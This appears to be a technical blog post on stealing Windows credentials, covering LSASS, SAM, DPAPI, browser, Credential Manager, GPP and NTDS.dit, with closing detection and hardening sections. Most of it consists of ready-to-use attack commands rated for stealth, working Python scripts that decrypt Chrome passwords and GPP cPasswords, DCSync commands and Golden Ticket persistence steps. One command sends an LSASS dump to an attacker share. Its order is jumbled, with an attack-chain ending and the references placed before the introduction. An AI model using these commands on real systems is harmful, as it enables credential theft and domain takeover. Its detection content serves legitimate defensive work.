Phase 4 — Lateral Movement: Using harvested creds to reach more systems. Prioritize jump servers, admin workstations, and servers with privileged sessions.
Phase 5 — Domain Escalation:
- On a machine where a DA has logged in:
sekurlsa::logonpasswords→ DA NT hash or TGT - Or:
lsadump::dcsync /domain:corp.local /user:krbtgtif DCSync rights obtained
Phase 6 — Persistence:
- Golden Ticket (krbtgt hash) — valid 10 years, survives password changes
- Silver Ticket (service account hash) — service-specific, harder to detect
- Domain backup key export → offline DPAPI decryption forever
11. References and Resources
- Benjamin Delpy (gentilkiwi): mimikatz — github.com/gentilkiwi/mimikatz
- SpecterOps: SharpDPAPI, SharpChrome — github.com/GhostPack
- Impacket (SecureAuth): secretsdump.py, dpapi.py — github.com/fortra/impacket
- MITRE ATT&CK: T1003 OS Credential Dumping — attack.mitre.org/techniques/T1003/
- MS14-025: GPP Credentials Advisory — Microsoft Security Bulletin
- harmj0y: A Guide to Attacking Domain Trusts / DPAPI Primer — blog.harmj0y.net
- Mark Russinovich: ProcDump, Sysinternals Suite — docs.microsoft.com
- gentilkiwi: DPAPI avec domaine — mimikatz wiki / blog.gentilkiwi.com
- Will Schroeder / SpecterOps: Certified Pre-Owned (AD CS attacks) — posts.specterops.io
- SwiftOnSecurity: Sysmon config — github.com/SwiftOnSecurity/sysmon-config
- nanodump: github.com/helpsystems/nanodump
- DonPAPI: github.com/login-securite/DonPAPI
- HackBrowserData: github.com/moonD4rk/HackBrowserData
- LaZagne: github.com/AlessandroZ/LaZagne
Introduction
Windows stores credentials in dozens of different locations. On a single Windows workstation in a domain environment, you can simultaneously find NT hashes and Kerberos tickets in LSASS memory, local account hashes in the SAM database, browser passwords protected by DPAPI, network credentials in Credential Manager, and legacy GPP passwords in SYSVOL. This complexity is a headache for defenders and a gold mine for attackers.
In 2011, French researcher Benjamin Delpy published a tool he called "mimikatz," fundamentally changing the Windows security world. Delpy proved that, contrary to Microsoft's claim that "cleartext passwords cannot be stored in memory," Windows was actually keeping cleartext passwords in LSASS memory through the WDigest authentication protocol. Since then, mimikatz has become an indispensable tool for penetration testing and real-world attacks, while MITRE ATT&CK T1003 (OS Credential Dumping) officially documents this attack family.
In this post we'll examine Windows credential access in depth: LSASS SSP architecture, the DPAPI key hierarchy, SAM and NTDS dump techniques, Credential Manager abuse, Chrome and Firefox password decryption mechanisms, and GPP credentials. For every technique we'll provide real commands, OPSEC ratings, and detection guidance.
1. LSASS (Local Security Authority Subsystem Service) In Depth
LSASS is the heart of Windows authentication infrastructure. It manages all logon operations, processes Kerberos tickets, implements NTLM challenge-response, and keeps credentials associated with user sessions in memory. Its PID is typically in the 600s range (varies by system configuration) and it lives at C:\Windows\System32\lsass.exe.
LSASS's critical feature is its use of dynamically loadable modules called Security Support Providers (SSPs) to support different authentication protocols. Each SSP holds different types of credentials in memory, and accessing those credentials means reaching the data that SSP has stored.
1.1 Security Support Provider Details
msv1_0.dll — NTLM Authentication
The module managing NTLM authentication. Holds in memory:
- NT hash: MD4 hash of the user's password. Can be used directly in Pass-the-Hash attacks.
- LM hash: Still present on older systems. Trivially crackable.
- NTLMv1/v2 challenge-response: Session hashes used in NTLM handshakes.
- Session keys: Key material used for SMB signing and encryption.
mimikatz command: sekurlsa::msv or sekurlsa::logonpasswords
kerberos.dll — Kerberos Protocol
Manages Kerberos, the primary authentication protocol in Active Directory environments. Holds in memory:
- TGT (Ticket Granting Ticket): Ticket received from AS-REP. Can be used without logging into a Domain Controller.
- TGS (Ticket Granting Service): Service tickets used to access specific services.
- Session keys: Encryption keys associated with TGTs and TGSes.
- APREQ tokens: Tokens prepared for service authentication.
mimikatz commands: sekurlsa::kerberos, kerberos::list /export
Important: Kerberos tickets can be used in pass-the-ticket attacks. With a TGT, you can request any TGS on behalf of that user. If the krbtgt hash is obtained, a Golden Ticket can be forged.
wdigest.dll — HTTP Digest Authentication
Designed for HTTP Digest authentication, this module was forced to keep cleartext passwords in memory due to the protocol's requirement. This was precisely the security vulnerability Benjamin Delpy discovered that shocked the world.
- Windows 7 / Server 2008: Default ON. Cleartext passwords present in LSASS memory.
- Windows 8.1 / Server 2012 R2+: Default OFF. Disabled via KB2871997.
- Re-enabling:
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential = 1
Attackers can set this registry key to 1 and wait for the victim to log in again to obtain the cleartext password. However, this leaves artifacts.
mimikatz command: sekurlsa::wdigest
tspkg.dll — Terminal Services / RDP Credentials
Manages Terminal Services authentication. Can hold cleartext username and password in memory if active RDP sessions exist. Especially valuable on jump servers or RDP gateway systems.
mimikatz command: sekurlsa::tspkg
livessp.dll — Microsoft Account (Live ID)
The SSP used for Microsoft account authentication during the Windows 8 and 8.1 era. Largely supplanted by cloudap.dll today.
mimikatz command: sekurlsa::livessp
cloudap.dll — Azure AD / Windows Hello
Manages Azure Active Directory (Entra ID) authentication on modern Windows devices. Holds in memory:
- PRT (Primary Refresh Token): Long-lived token used for Azure AD sessions. With this token, new access tokens and refresh tokens can be obtained.
- Windows Hello keys: Private keys used for PIN or biometric authentication.
- Nonces and proof tokens: Cryptographic material for communication with Azure AD.
mimikatz command: sekurlsa::cloudap
Note: Stealing a PRT can bypass MFA and grant access to the Azure portal, Microsoft 365, Teams, and all Azure resources. This is known as a "Pass-the-PRT" attack.
credssp.dll — Credential Security Support Provider
Manages Network Level Authentication (NLA) and the CredSSP protocol. Passes full credentials to the remote system during RDP connections. After the connection is established, these credentials appear in the remote system's LSASS memory.
mimikatz command: sekurlsa::credman
1.2 LSASS Dump Techniques
Multiple methods exist for dumping LSASS. Each has a different OPSEC profile and privilege requirement:
Method 1: Task Manager (GUI)
The easiest and noisiest method. Requires an interactive session.
# Task Manager → Details tab → lsass.exe
# Right-click → "Create dump file"
# Output: C:\Users\[user]\AppData\Local\Temp\lsass.DMP
# OPSEC: VERY HIGH — triggers Sysmon Event 10
Method 2: ProcDump (Microsoft Signed)
The Sysinternals ProcDump tool is digitally signed by Microsoft. This can bypass some older AV solutions. However, modern EDRs detect this tool's access to lsass.exe.
:: Basic usage
procdump.exe -ma lsass.exe lsass_dump.dmp
:: Silent (auto-accept EULA)
procdump.exe -ma -accepteula lsass.exe C:\temp\lsass.dmp
:: By PID instead of process name
procdump.exe -ma 640 C:\temp\lsass.dmp
:: OPSEC: HIGH — Sysmon Event 10, Defender ATP alert
Method 3: comsvcs.dll MiniDump (LOLBin)
This technique uses the MiniDump export function from comsvcs.dll, which is built into the system. No external tools required — hence "Living off the Land Binary (LOLBin)."
# Get LSASS PID and create dump
$LSASS = (Get-Process lsass).Id
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump $LSASS C:\temp\lsass.dmp full
# One-liner with variable
$p=(Get-Process l*s).Id; rundll32 $env:SystemRoot\System32\comsvcs.dll, MiniDump $p $env:TEMP\out.dmp full; Wait-Job -Any
# OPSEC: MEDIUM — rundll32 + comsvcs combination gets flagged
# Sysmon Event 11 (file create), Event 10 (process access)
Method 4: nanodump (PPL Bypass)
nanodump is an advanced LSASS dump tool that bypasses PPL (Protected Process Light) protection. Rather than opening a process handle, it uses process forking or handle duplication techniques.
# Basic usage
nanodump.exe --write C:\temp\lsass.dmp
# Specify PID
nanodump.exe -p 640 --write C:\temp\lsass.dmp
# Handle duplicate method (stealthier)
nanodump.exe --dup --write C:\temp\lsass.dmp
# Remote via SMB (from C2)
nanodump.exe -p 640 --dup --write \\attacker\share\lsass.dmp
# OPSEC: LOW — kernel-level events only, user-mode monitoring bypassed
# May require kernel driver or exploit for PPL bypass
Method 5: SilentProcessExit
A stealthy technique using Windows error reporting mechanisms:
# Trigger dump via registry keys
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe" /v ReportingMode /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe" /v MonitorProcess /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f
# OPSEC: HIGH — registry change + process kill is very noisy
Method 6: Impacket secretsdump (Remote)
# Username/password
python3 secretsdump.py corp.local/administrator:'Password123'@10.10.10.10
# NT hash (Pass-the-Hash)
python3 secretsdump.py -hashes :aad3b435b51404eeaad3b435b51404ee:NT_HASH_HERE administrator@10.10.10.10
# Kerberos ticket
python3 secretsdump.py -k -no-pass corp.local/administrator@10.10.10.10
# SAM only
python3 secretsdump.py -sam SAM -system SYSTEM LOCAL
# OPSEC: LOW/MEDIUM — network-only, no local process access
# DCSync mode triggers Event 4662
1.3 Extracting Hashes with mimikatz
After obtaining a dump file, or directly on the system, mimikatz is used to extract credentials:
# First acquire debug privilege (SeDebugPrivilege — requires SYSTEM)
privilege::debug
# Get credentials for all logged-in users
# NT hash + cleartext (if WDigest active) + Kerberos tickets
sekurlsa::logonpasswords
# WDigest cleartext passwords only
sekurlsa::wdigest
# Kerberos TGT and TGS tickets
sekurlsa::kerberos
# RDP (TS) credentials
sekurlsa::tspkg
# NTLM credentials
sekurlsa::msv
# Azure AD PRT tokens
sekurlsa::cloudap
# Credential Manager credentials
sekurlsa::credman
# ============================================================
# Offline extraction from dump file (no mimikatz on target)
# ============================================================
# Load the dump file first
sekurlsa::minidump C:\temp\lsass.dmp
# All commands now read from dump
sekurlsa::logonpasswords
# Local hashes from SAM database
lsadump::sam
# LSA secrets (service account passwords, auto-logon)
lsadump::secrets
# Cached domain credentials (DCC2 format)
lsadump::cache
# Extract domain backup key
lsadump::backupkeys /system:DC01.corp.local /export
# DCSync — pull a specific user's hash from DC
lsadump::dcsync /domain:corp.local /user:administrator
lsadump::dcsync /domain:corp.local /all /csv
1.4 Credential Guard
Microsoft introduced Credential Guard in Windows 10 version 1511. This feature uses Hyper-V-based virtualization to run LSASS in an isolated environment (VSM — Virtual Secure Mode / VTL1).
What Credential Guard protects:
- NT hashes (msv1_0.dll) — now in VTL1, inaccessible from user mode
- Kerberos TGT/TGS — now in VTL1
- WDigest cleartext passwords — completely blocked
What Credential Guard does NOT protect:
- Local hashes in the SAM database
- NTDS.dit (domain hashes)
- DPAPI master keys
- Browser passwords
- Network-captured NTLM hashes (Responder etc.)
- Credential Manager vault entries
# Check Credential Guard status
(Get-CimInstance -Namespace root/Microsoft/Windows/DeviceGuard -Class Win32_DeviceGuard).SecurityServicesRunning
# 1 = Credential Guard active, 2 = HVCI active
# Registry check
reg query "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v EnableVirtualizationBasedSecurity
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v LsaCfgFlags
2. SAM Database (Security Account Manager)
The SAM database is a critical file where Windows stores local user account credentials. Physical location: C:\Windows\System32\config\SAM
The SAM file is encrypted with a system-specific boot key (syskey/bootkey). The SYSTEM hive file (C:\Windows\System32\config\SYSTEM) is also required to decrypt it.
On a running system the SAM file is locked; it must be copied via Volume Shadow Copy (VSS) or registry export.
2.1 SAM Dump Techniques
Via Volume Shadow Copy (VSS)
:: Create VSS snapshot
vssadmin create shadow /for=C:
:: List shadow copies to find the path
vssadmin list shadows
:: Copy SAM and SYSTEM (adjust shadow copy path)
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM
:: Cleanup
vssadmin delete shadows /shadow:{GUID}
:: Extract hashes with impacket
python3 secretsdump.py -sam C:\temp\SAM -system C:\temp\SYSTEM LOCAL
Via Registry Export (interactive session)
:: Export SAM, SYSTEM, and SECURITY hives via registry
reg save HKLM\SAM C:\temp\SAM.hive
reg save HKLM\SYSTEM C:\temp\SYSTEM.hive
reg save HKLM\SECURITY C:\temp\SECURITY.hive
:: Local impacket analysis
python3 secretsdump.py -sam SAM.hive -security SECURITY.hive -system SYSTEM.hive LOCAL
Via mimikatz (live system)
privilege::debug
token::elevate # Get SYSTEM token
lsadump::sam # Extract hashes from SAM
2.2 LSA Secrets
LSA Secrets is a special structure in the HKLM\SECURITY\Policy\Secrets registry key containing system-level secrets including:
- _SC_ServiceName: Passwords for accounts running Windows services
- DefaultPassword: Auto-logon password
- NL$KM: Encryption key for cached domain credentials
- $MACHINE.ACC: Domain machine account password (changes every 30 days)
- DPAPI_SYSTEM: System-level DPAPI master key
# mimikatz
privilege::debug
token::elevate
lsadump::secrets
# Impacket
python3 secretsdump.py corp.local/administrator:'Password123'@10.10.10.10 -just-lsa
2.3 Cached Domain Credentials (DCC2)
Windows caches the last 10 domain credentials so users can log in even without network connectivity to a domain controller. These are stored under HKLM\SECURITY\Cache as NL$1, NL$2, etc.
Hash format: DCC2 (MS-Cache v2) — hashcat mode -m 2100
DCC2 hashes cannot be used in network authentication (Pass-the-Hash does not work). However, they can be cracked to recover cleartext passwords. Cracking is much slower than Kerberoasting.
# mimikatz
privilege::debug
token::elevate
lsadump::cache
# Hashcat cracking
hashcat -m 2100 dcc2_hash.txt wordlist.txt
# Format: $DCC2$10240#username#hash
# Example
hashcat -m 2100 '$DCC2$10240#administrator#a4bcd...' rockyou.txt --rules best64.rule
3. DPAPI (Data Protection API) In Depth
DPAPI is the encryption infrastructure Microsoft built into Windows to store user secrets. It has been present since 1999 and its use is extremely widespread: Chrome passwords, Credential Manager, Wi-Fi passwords, EFS keys, certificate private keys and more are all protected by DPAPI.
DPAPI's core principle: the encryption key is derived from the user's password. This means the user can access their data when logged in, but the data is inaccessible when the session is closed. However, this design has one critical weakness: the domain backup key.
3.1 DPAPI Key Hierarchy
Level 1: Domain Backup Key
In Active Directory environments, a special "DPAPI backup key" is stored on the Domain Controller. This key is used to encrypt all users' master keys across the domain. Anyone who possesses this key can decrypt the DPAPI secrets of every user on the domain.
- Location: DC's LSASS memory and AD database
- Replicated to all DCs
- Requires Domain Admin rights
- Does not change for years (danger!)
# mimikatz
lsadump::backupkeys /system:DC01.corp.local /export
# Output: ntds_capi_*.pvk and ntds_legacyapi_*.pvk files
# Impacket dpapi.py
python3 dpapi.py backupkeys --export -t corp.local/administrator:'Password123'@DC01.corp.local
Level 2: User Master Key
Each user has one or more master keys, stored as GUID-named files in the user profile folder:
# Master key location
%APPDATA%\Microsoft\Protect\{SID}\{GUID}
# Example:
C:\Users\jdoe\AppData\Roaming\Microsoft\Protect\S-1-5-21-...-1001\{3a4b5c6d-...}
The master key is derived from the user's password and SID (PBKDF2 + HMAC-SHA1). In domain environments an additional copy encrypted with the domain backup key is also present.
Level 3: DPAPI_BLOB
Every encrypted piece of data is in DPAPI_BLOB format. The blob's header contains the master key GUID that was used, allowing the correct master key to be located during decryption.
Level 4: Protected Secret
The actual secret revealed after decrypting the blob: a browser password, Wi-Fi key, certificate private key, etc.
3.2 DPAPI Attack Techniques
Bulk Decryption with Domain Backup Key
# 1. Obtain backup key (DA rights required)
python3 dpapi.py backupkeys --export -t corp.local/administrator:'Password123'@DC01
# or via mimikatz:
lsadump::backupkeys /system:DC01.corp.local /export
# 2. Use SharpDPAPI to decrypt all domain users' secrets
# (Decrypt master keys with backup key, then decrypt blobs)
SharpDPAPI.exe triage /pvk:backup_key.pvk
# Credential Manager vault entries only
SharpDPAPI.exe vaults /pvk:backup_key.pvk
# Chrome passwords
SharpDPAPI.exe logins /pvk:backup_key.pvk
# Certificates
SharpDPAPI.exe certificates /pvk:backup_key.pvk
DonPAPI (From Linux)
# Pull all DPAPI secrets from a Linux attack machine
python3 DonPAPI.py corp.local/administrator:'Password123'@10.10.10.10
# Scan entire domain
python3 DonPAPI.py corp.local/administrator:'Password123'@10.10.10.0/24
# Look for credential files
python3 DonPAPI.py corp.local/administrator:'Password123'@10.10.10.10 --credz
Offline DPAPI Analysis
# Decrypt a specific DPAPI blob
mimikatz: dpapi::blob /in:C:\temp\blob.bin /masterkey:<hex_masterkey>
# Decrypt a credential file
mimikatz: dpapi::cred /in:C:\Users\jdoe\AppData\Roaming\Microsoft\Credentials\{GUID}
# Decrypt master key (if user password is known)
mimikatz: dpapi::masterkey /in:C:\...\{GUID} /password:Password123
# Decrypt master key (with domain backup key)
mimikatz: dpapi::masterkey /in:C:\...\{GUID} /pvk:backup.pvk
3.3 System-Level DPAPI
System (MACHINE) level DPAPI protects secrets in the SYSTEM account context. The encryption key is derived from the machine SID and LSA boot key. These secrets include:
- Scheduled task passwords
- Wi-Fi PSK keys (
C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\) - RDP saved connection passwords (in SYSTEM context)
- DPAPI_SYSTEM secret (in LSA Secrets)
# Decrypt system DPAPI master key (with SYSTEM privileges)
mimikatz:
privilege::debug
token::elevate
dpapi::masterkey /in:"C:\Windows\System32\Microsoft\Protect\S-1-5-18\{GUID}" /system
# Decrypt Wi-Fi passwords
netsh wlan export profile folder=C:\temp key=clear
# or SharpDPAPI:
SharpDPAPI.exe wifi
4. Browser Credentials
Modern browsers store passwords locally for user convenience. Although these storage mechanisms use different encryption methods, they ultimately rely on OS-level secrets (DPAPI or NSS), making them valuable targets for attackers.
4.1 Chrome / Edge / Chromium-Based Browsers
Chrome's password storage architecture:
- Login Data: SQLite database —
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data - Local State: JSON file —
%LOCALAPPDATA%\Google\Chrome\User Data\Local State - Encryption: AES-256-GCM (Chrome 80+). Encryption key stored as a DPAPI blob in Local State.
Decryption flow:
- Extract
os_crypt.encrypted_keyfield from Local State JSON - Base64 decode → DPAPI blob with
DPAPI\x01prefix - Decrypt DPAPI blob with CryptUnprotectData() → AES-256 key
- Query
loginstable from Login Data SQLite →password_valuecolumn - Decrypt with AES-256-GCM (nonce is first 12 bytes after 3-byte
v10prefix)
# HackBrowserData (cross-platform)
./hack-browser-data -b chrome -o output/
./hack-browser-data -b all -o output/
# SharpChrome (Windows C# — SpecterOps)
SharpChrome.exe logins # all saved logins
SharpChrome.exe cookies # session cookies
SharpChrome.exe history # browsing history
SharpChrome.exe logins /server:dc01.corp.local # remote
# Python manual decryption example
import sqlite3, json, base64
from Cryptodome.Cipher import AES
import win32crypt
# Get AES key from Local State
with open(r'%LOCALAPPDATA%\Google\Chrome\User Data\Local State') as f:
local_state = json.load(f)
encrypted_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])[5:] # skip DPAPI prefix
aes_key = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]
# Get encrypted passwords from Login Data
conn = sqlite3.connect(r'%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data')
cursor = conn.execute("SELECT origin_url, username_value, password_value FROM logins")
for url, username, encrypted_password in cursor.fetchall():
nonce = encrypted_password[3:15] # post-v10: 3 byte prefix + 12 byte nonce
ciphertext = encrypted_password[15:-16]
tag = encrypted_password[-16:]
cipher = AES.new(aes_key, AES.MODE_GCM, nonce)
plaintext = cipher.decrypt_and_verify(ciphertext, tag)
print(f"{url} | {username} | {plaintext.decode()}")
# DonPAPI (from Linux, as domain user)
python3 DonPAPI.py corp.local/jdoe:'Password123'@10.10.10.50
4.2 Firefox / Firefox-Based Browsers
Firefox uses a different encryption infrastructure than Chromium: NSS (Network Security Services):
- key4.db: NSS key database (SQLite format)
- logins.json: Encrypted login data (JSON format)
- Encryption: 3DES-CBC or AES-256-CBC via NSS
- Master Password: Optional additional protection. If not set, machine-specific key material is used.
# Firefox profile location:
# Windows: %APPDATA%\Mozilla\Firefox\Profiles\{profile}.default-release\
# Linux: ~/.mozilla/firefox/{profile}.default-release/
# firefox_decrypt (Python)
python3 firefox_decrypt.py /path/to/firefox/profile/
# Will prompt for master password (leave blank if not set)
# firepwd (Python — works on older profiles too)
python3 firepwd.py -d /path/to/profile/ -p master_password
# SharpWeb (C# — from Windows)
SharpWeb.exe all
# LaZagne (multi-browser)
python3 laZagne.py browsers
python3 laZagne.py all # all secrets
4.3 OPSEC Note: Accessing Browser Passwords
Chrome's Login Data file is locked while the browser is running. You can copy the file and analyze the copy:
:: Copy Login Data while Chrome is running
copy "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" C:\temp\LoginData
:: Then analyze the copy (even if the original is locked)
:: SharpChrome handles the copy operation automatically
5. Windows Credential Manager (Vault)
Windows Credential Manager stores network credentials, website passwords, and general application credentials with DPAPI protection. Location: %APPDATA%\Microsoft\Credentials\ and %LOCALAPPDATA%\Microsoft\Credentials\
Vault entries fall into two categories:
- Windows Credentials: Credentials for network shares and Remote Desktop connections
- Certificate-Based Credentials: Certificate-based credentials
- Generic Credentials: Application-level saved username/password pairs
# List saved credentials from command line
cmdkey /list
# Read Vault with PowerShell (Windows Runtime API)
[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
$vault = New-Object Windows.Security.Credentials.PasswordVault
$vault.RetrieveAll() | ForEach-Object {
$_.RetrievePassword()
[PSCustomObject]@{
UserName = $_.UserName
Resource = $_.Resource
Password = $_.Password
}
}
# mimikatz
vault::list # list all vault entries
vault::cred /patch # decrypt credentials
# SharpDPAPI
SharpDPAPI.exe vaults
SharpDPAPI.exe credentials
# Decrypt physical credential files
# Location: %APPDATA%\Microsoft\Credentials\ and %LOCALAPPDATA%\Microsoft\Credentials\
dpapi::cred /in:"%APPDATA%\Microsoft\Credentials\{GUID}" /masterkey:<hex>
Credential Manager is particularly valuable because users often save critical system passwords — including domain admin accounts — here.
6. GPP Credentials (MS14-025)
Group Policy Preferences (GPP) allows system administrators to make configuration changes across the domain. A feature widely used between 2006 and 2014 used a cPassword field in Group Policy XML files for creating local administrator accounts or setting passwords.
These XML files are stored in SYSVOL and anyone who is a domain member can read them. Microsoft encrypted the passwords with AES-256 — but also published the encryption key publicly in MSDN documentation!
Microsoft addressed this vulnerability in 2014 with the MS14-025 patch (GPP can no longer use the cPassword field), but legacy configurations may still be sitting in SYSVOL.
# Search SYSVOL for XML files containing cPassword
findstr /S /I cPassword \\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\*.xml
# CrackMapExec automatic check
crackmapexec smb 10.10.10.10 -u jdoe -p 'Password123' -M gpp_autologin
crackmapexec smb 10.10.10.10 -u jdoe -p 'Password123' -M gpp_password
# Metasploit modules
# use post/windows/gather/credentials/gpp
# use auxiliary/scanner/smb/smb_enumgpp
# Impacket
python3 Get-GPPPassword.py corp.local/jdoe:'Password123'@10.10.10.10
# PowerSploit (older but still works)
# Get-GPPPassword
# Get-GPPAutologon
# Python manual decrypt (AES CBC, public key!)
import base64
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import unpad
# Microsoft's published AES key (32 bytes)
key = bytes.fromhex('4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b')
def decrypt_gpp_password(cpassword):
# Fix base64 padding
padding = len(cpassword) % 4
if padding:
cpassword += '=' * (4 - padding)
decoded = base64.b64decode(cpassword)
# AES-256-CBC, IV = 0
iv = b'\x00' * 16
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = unpad(cipher.decrypt(decoded), 16)
return decrypted.decode('utf-16-le')
# Take cPassword value from GPP XML and decrypt
cpassword = "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw+srsIA"
print(decrypt_gpp_password(cpassword))
6.1 Scope of the GPP Vulnerability
XML file types that may contain passwords via GPP:
- Groups.xml: Local group memberships and passwords
- Services.xml: Windows service configurations
- Scheduledtasks.xml: Scheduled task credentials
- Datasources.xml: Database connection information
- Printers.xml: Printer credentials
- Drives.xml: Drive mapping credentials
7. NTDS.dit Extraction (Domain Hash Dumping)
NTDS.dit is Active Directory's main database. It resides on the Domain Controller at C:\Windows\NTDS\ntds.dit and contains NT hashes for all domain user accounts. Obtaining this file means acquiring the credentials of the entire domain.
7.1 Copying NTDS.dit via VSS
:: Create VSS snapshot on DC (with SYSTEM privileges)
vssadmin create shadow /for=C:
:: Find shadow copy path
vssadmin list shadows
:: Copy NTDS and SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit
reg save HKLM\SYSTEM C:\temp\SYSTEM.hive
:: Clean up snapshot
vssadmin delete shadows /shadow:{GUID} /quiet
:: Extract hashes
python3 secretsdump.py -ntds C:\temp\ntds.dit -system C:\temp\SYSTEM.hive LOCAL -outputfile hashes
7.2 DCSync (Remote, Over the Network)
DCSync is a technique for pulling hashes from a DC using the replication protocol (DRSUAPI) without actually copying the NTDS.dit file. Advantage: no physical access to the DC — only network access and appropriate rights.
Required rights: DS-Replication-Get-Changes and DS-Replication-Get-Changes-All (held by Domain Admins and Domain Controllers by default)
# mimikatz DCSync
lsadump::dcsync /domain:corp.local /user:administrator
lsadump::dcsync /domain:corp.local /user:krbtgt # For Golden Ticket!
lsadump::dcsync /domain:corp.local /all /csv # All hashes in CSV format
# Impacket
python3 secretsdump.py corp.local/administrator:'Password123'@DC01.corp.local -just-dc
python3 secretsdump.py -hashes :NT_HASH administrator@DC01.corp.local -just-dc-ntlm
# CrackMapExec
crackmapexec smb DC01.corp.local -u administrator -p 'Password123' --ntds
# Grant DCSync rights (delegable — does not require DA)
# PowerView:
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity jdoe -Rights DCSync
7.3 Via ntdsutil (LOLBin)
:: ntdsutil — Windows built-in Active Directory management tool
ntdsutil "activate instance ntds" "ifm" "create full C:\temp\ntds_backup" "quit" "quit"
:: This creates under C:\temp\ntds_backup\:
:: Active Directory\ntds.dit
:: registry\SYSTEM
:: Extract hashes
python3 secretsdump.py -ntds "C:\temp\ntds_backup\Active Directory\ntds.dit" -system "C:\temp\ntds_backup\registry\SYSTEM" LOCAL
8. OPSEC Assessment and Detection Guide
8.1 Critical Windows Event IDs
- Event 4611: A trusted logon process has been registered with LSASS
- Event 4625: Failed logon attempt
- Event 4661: A handle was requested to SAM, NTDS, or SECURITY object
- Event 4662: An operation was performed on an Active Directory object (critical for DCSync)
- Event 4688: New process created (mimikatz.exe detection)
- Event 4698/4699: Scheduled task created/deleted
- Sysmon Event 10: ProcessAccess — detecting handle opened to lsass.exe
- Sysmon Event 11: FileCreate — detecting .dmp file creation
- Sysmon Event 12/13: RegistryEvent — WDigest registry modification
8.2 Sysmon Configuration (LSASS Protection)
<!-- sysmonconfig.xml -- lsass process access detection -->
<ProcessAccess onmatch="include">
<TargetImage condition="is">C:\Windows\system32\lsass.exe</TargetImage>
</ProcessAccess>
<!-- Result: every LSASS handle open is logged as Event 10 -->
<!-- Correlation rule: many Event 10s = credential dump attempt -->
8.3 LSASS Access Detection (KQL — Microsoft Sentinel)
// LSASS Memory Access Detection
SecurityEvent
| where EventID == 10 // Sysmon ProcessAccess
| where TargetImage contains "lsass.exe"
| where not(InitiatingProcessName in~ ("svchost.exe", "wininit.exe", "csrss.exe"))
| project TimeGenerated, Computer, InitiatingProcessName, InitiatingProcessCommandLine, TargetImage, GrantedAccess
| order by TimeGenerated desc
// DCSync Detection (Event 4662)
SecurityEvent
| where EventID == 4662
| where Properties has "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" // DS-Replication-Get-Changes-All
or Properties has "1131f6ab-9c07-11d1-f79f-00c04fc2dcd2"
| where SubjectUserName != "DOMAIN_CONTROLLER$"
| project TimeGenerated, Computer, SubjectUserName, ObjectName, Properties
8.4 Technique-by-Technique Detection Summary
| Technique | Primary Detection | Secondary Detection |
|---|---|---|
| sekurlsa::logonpasswords | Sysmon Event 10 (lsass handle) | Defender ATP LSASS tampering |
| comsvcs.dll MiniDump | Sysmon Event 11 (.dmp create) | rundll32+comsvcs pattern |
| Task Manager dump | Sysmon Event 10 | .DMP in %TEMP% |
| ProcDump -ma lsass | Sysmon Event 10 | Defender: ProcDump on lsass |
| nanodump | Kernel ETW events | WDAC driver signing alert |
| lsadump::sam | Event 4661 (SAM access) | VSS creation event |
| DCSync | Event 4662 (replication) | MDI replication detection |
| DPAPI offline | File access logs | DRSUAPI event for backup key |
| GPP credentials | SMB SYSVOL access | File access logs |
9. Defensive Measures
9.1 LSASS Protection
# Enable PPL (Protected Process Light) for LSASS
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f
# Credential Guard GPO path:
# Computer Configuration > Administrative Templates > System >
# Device Guard > Turn On Virtualization Based Security
# + Credential Guard Configuration: Enable with UEFI lock
# Disable WDigest (should already be off, enforce via GPO)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /t REG_DWORD /d 0 /f
9.2 Audit Policy
:: Configure advanced audit policy
auditpol /set /subcategory:"Credential Validation" /success:enable /failure:enable
auditpol /set /subcategory:"Security Account Manager" /success:enable
auditpol /set /subcategory:"Directory Service Access" /success:enable /failure:enable
auditpol /set /subcategory:"Logon" /success:enable /failure:enable
:: Install Sysmon (SwiftOnSecurity config)
:: https://github.com/SwiftOnSecurity/sysmon-config
sysmon.exe -accepteula -i sysmonconfig.xml
9.3 GPP Cleanup
:: Scan SYSVOL for GPP passwords
findstr /S /I cPassword \\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\*.xml
:: Clean cPassword fields from any found XML files
:: Change passwords of any accounts found
:: MS14-025 patch should already be applied — verify:
wmic qfe get HotFixID | findstr KB2962486
9.4 DPAPI Security Hardening
- Rotate the domain backup key regularly (at least annually)
- Move critical secrets from DPAPI to HSM or Azure Key Vault
- Use Privileged Identity Management (PIM) for DCSync rights
- Use Microsoft Defender for Identity (MDI) for DCSync and Golden Ticket detection
- Apply Tiered Administration Model: Domain Admin accounts used only on DCs
- Enforce Tier 0 isolation — no DA sessions on workstations or member servers
